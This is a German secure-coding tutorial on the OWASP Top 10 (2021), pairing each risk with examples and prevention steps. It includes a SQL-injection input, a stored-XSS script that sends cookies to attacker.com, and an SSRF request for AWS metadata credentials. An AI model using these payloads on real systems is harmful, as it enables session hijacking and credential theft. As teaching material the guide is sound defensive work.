Sicheres Programmieren 101: OWASP Top 10 Schwachstellen
SQL-Injection, XSS und gebrochene Authentifizierung kehren in Sicherheitsverletzungen wieder. Lernen Sie, wie diese Schwachstellen entstehen und wie Sie sie beseitigen.
Inhaltsverzeichnis
- Warum dieselben Schwachstellen immer wieder auftauchen
- A01: Fehlerhafte Zugriffskontrolle
- A02: Kryptografische Fehler
- A03: Injection
- A04: Unsicheres Design
- A07: Identifizierungs- und Authentifizierungsfehler
- A05: Sicherheitsfehlkonfiguration
- A03 Verwandt: Cross-Site-Scripting (XSS)
- A10: Server-Side Request Forgery (SSRF)
- Einen sicheren Entwicklungslebenszyklus aufbauen
Warum dieselben Schwachstellen immer wieder auftauchen
Die OWASP Top 10 ist eine vom Open Web Application Security Project gepflegte Liste der kritischsten Sicherheitsrisiken für Webanwendungen. Sie wird seit 2003 veröffentlicht. Viele der gleichen Schwachstellen erscheinen Jahrzehnt für Jahrzehnt – nicht weil Entwickler sie nicht kennen, sondern weil sie unter Zeitdruck leicht einzuführen sind und bewusster Anstrengung bedürfen, um sie zu verhindern.
Dieser Leitfaden behandelt die praktisch wichtigsten Einträge der OWASP Top 10 Edition 2021.
A01: Fehlerhafte Zugriffskontrolle
Zugriffskontrolle stellt sicher, dass Nutzer nur das tun können, was ihnen erlaubt ist. Fehlerhafte Zugriffskontrolle ist die häufigste Schwachstelle in realen Anwendungen.
Beispiele:
- Ein Nutzer ändert
?user_id=123in?user_id=124in der URL und sieht die Bestellung einer anderen Person - Ein API-Endpunkt, der alle Datensätze zurückgibt, prüft nicht, ob der Anfragende sie besitzt
- Ein normaler Nutzer greift auf
/admin/delete-userzu, weil die Route nicht geschützt ist
Prävention:
- Zugriffskontrolle serverseitig erzwingen, niemals clientseitig
- Standardmäßig ablehnen: wenn keine explizite Berechtigung vorhanden ist, Anfrage ablehnen
- Rollenbasierte Zugriffskontrolle (RBAC) oder attributbasierte Zugriffskontrolle (ABAC) verwenden
- Zugriffskontrollfehler protokollieren und bei wiederholten Fehlern alarmieren
A02: Kryptografische Fehler
Früher "Sensible Datenexposition" genannt, umfasst diese Kategorie schwache oder fehlende Verschlüsselung für sensible Daten.
Beispiele:
- Passwörter im Klartext oder mit MD5/SHA-1 gespeichert (nicht für die Passwortspeicherung konzipiert)
- Sensible Daten über HTTP statt HTTPS übertragen
- Verschlüsselungsschlüssel im Quellcode fest eingebettet oder in ein Repository eingecheckt
Prävention:
- bcrypt, scrypt oder Argon2 für das Passwort-Hashing verwenden – niemals MD5, SHA-1 oder SHA-256 allein
- HTTPS überall erzwingen; HSTS verwenden
- Geheimnisse in einem Secrets-Manager rotieren und speichern (AWS Secrets Manager, HashiCorp Vault, nicht
.env-Dateien in Repos) - Niemals sensible Daten protokollieren (Passwörter, Tokens, Kreditkartennummern)
A03: Injection
Injection-Angriffe treten auf, wenn nicht vertrauenswürdige Daten als Teil eines Befehls oder einer Abfrage an einen Interpreter gesendet werden. SQL-Injection ist das bekannteste Beispiel, aber die Familie umfasst auch OS-Befehls-Injection, LDAP-Injection und andere.
SQL-Injection-Beispiel:
-- Nutzereingabe: ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = ''
-- Gibt alle Nutzer zurück
Prävention:
- Parametrisierte Abfragen (Prepared Statements) verwenden – niemals Nutzereingaben in SQL verketten
- Ein ORM verwenden, das Parametrisierung automatisch handhabt
- Alle Eingaben validieren und bereinigen
- Minimale Berechtigung für Datenbankkonten anwenden – die Web-App sollte nicht als
rootverbinden
A04: Unsicheres Design
Diese Kategorie behandelt fundamentale Designfehler, nicht Implementierungsfehler. Ein System kann perfekt programmiert sein und dennoch durch Design unsicher sein.
Beispiele:
- Ein Passwort-Reset-Prozess, der offenbart, ob eine E-Mail registriert ist (ermöglicht Kontoaufzählung)
- Eine API, die ein gesamtes Nutzerobjekt zurückgibt, obwohl nur der Name des Nutzers benötigt wird
- Ein System ohne Rate-Limiting bei Authentifizierungsversuchen
Prävention:
- Bedrohungsmodellierung während des Designs durchführen, nicht danach
- Das Prinzip der minimalen Berechtigung auf Architekturebene anwenden
- Sicherheitsanforderungen neben funktionalen Anforderungen einbeziehen
A07: Identifizierungs- und Authentifizierungsfehler
Schwache Authentifizierung und Sitzungsverwaltung ermöglichen es Angreifern, Nutzer zu imitieren.
Beispiele:
- Schwache Passwörter zulassen ("password123" wird akzeptiert)
- Sitzungstoken nach dem Abmelden nicht ungültig machen
- Sitzungs-IDs in URLs speichern, die in Serverprotokollen erscheinen
- Keine Kontosperrung oder Rate-Limiting bei Anmeldeversuchen
Prävention:
- MFA für alle Nutzerkonten erzwingen, besonders für Administratoren
- Bewährte Authentifizierungsbibliotheken verwenden, anstatt eigene zu erstellen
- Lange, zufällige Sitzungstoken generieren; bei Abmeldung und nach einem Timeout ungültig machen
- Rate-Limiting und CAPTCHA an Login- und Registrierungsendpunkten implementieren
A05: Sicherheitsfehlkonfiguration
Sicherheitsfehlkonfiguration ist der häufigste Befund bei Sicherheitsbewertungen. Sie resultiert aus unvollständigen Konfigurationen, offenen Cloud-Speicher-Buckets, aktivierten unnötigen Funktionen, Standardanmeldedaten und übermäßig informativen Fehlermeldungen.
Prävention:
- Konfigurationen gegen eine Basislinie härten (CIS Benchmarks)
- Standardkonten entfernen und Standardpasswörter ändern
- Verzeichnisauflistung, unnötige HTTP-Methoden, Debug-Endpunkte in der Produktion deaktivieren
- Infrastructure-as-Code verwenden, um Konfiguration konsistent und prüfbar zu machen
A03 Verwandt: Cross-Site-Scripting (XSS)
XSS tritt auf, wenn ein Angreifer bösartige Skripte in Webseiten injiziert, die von anderen Nutzern angesehen werden.
Beispiel:
Ein Kommentarfeld speichert <script>document.location='https://attacker.com/steal?c='+document.cookie</script>. Jeder Nutzer, der die Seite anzeigt, führt das Skript aus und sendet seinen Sitzungs-Cookie an den Angreifer.
Typen:
- Stored XSS – bösartiges Skript in der Datenbank gespeichert
- Reflected XSS – Skript in einer URL enthalten und in der Antwort reflektiert
- DOM-basiertes XSS – Skript wird über clientseitiges JavaScript ausgeführt
Prävention:
- Alle Ausgaben encodieren – Nutzerdaten HTML-kodieren, bevor sie in den HTML-Kontext eingefügt werden
- Eine Content Security Policy (CSP)-Kopfzeile verwenden, um einzuschränken, welche Skripte ausgeführt werden können
- Moderne Frameworks (React, Vue, Angular) verwenden, die Output-Encoding standardmäßig handhaben
- Niemals
innerHTMLmit nicht vertrauenswürdigen Daten verwenden;textContentbevorzugen
A10: Server-Side Request Forgery (SSRF)
SSRF-Schwachstellen ermöglichen es Angreifern, den Server dazu zu bringen, Anfragen an unbeabsichtigte Ziele zu senden – einschließlich interner Dienste, die nicht über das Internet zugänglich sind.
Beispiel:
Eine URL-Vorschaufunktion, die http://169.254.169.254/latest/meta-data/ auf AWS abruft, gibt Cloud-Instanz-Anmeldedaten zurück.
Prävention:
- URLs, die der Server abruft, validieren und in einer Allowlist führen
- Anfragen an private IP-Bereiche blockieren (10.x.x.x, 172.16.x.x, 192.168.x.x, 169.254.x.x)
- HTTP-Weiterleitungen bei Abrufoperationen deaktivieren
Einen sicheren Entwicklungslebenszyklus aufbauen
Das Beheben von Schwachstellen nach der Bereitstellung ist 10–100 Mal teurer als ihre Prävention während der Entwicklung. Integrieren Sie Sicherheit in den Entwicklungsprozess:
- Neue Funktionen modellieren bevor Code geschrieben wird
- Linter und SAST-Tools verwenden (Semgrep, CodeQL, Bandit), um Probleme automatisch zu erkennen
- Code-Reviews mit Sicherheitsgedanken durchführen
- DAST-Tools ausführen (OWASP ZAP) gegen Staging-Umgebungen
- Abhängigkeiten verfolgen und aktualisieren – viele Sicherheitsvorfälle nutzen bekannte Schwachstellen in Bibliotheken aus
Sicherheit ist kein Feature, das Sie am Ende hinzufügen. Es ist ein Qualitätsmerkmal, das in jede Entscheidung von Design bis Bereitstellung eingebaut ist.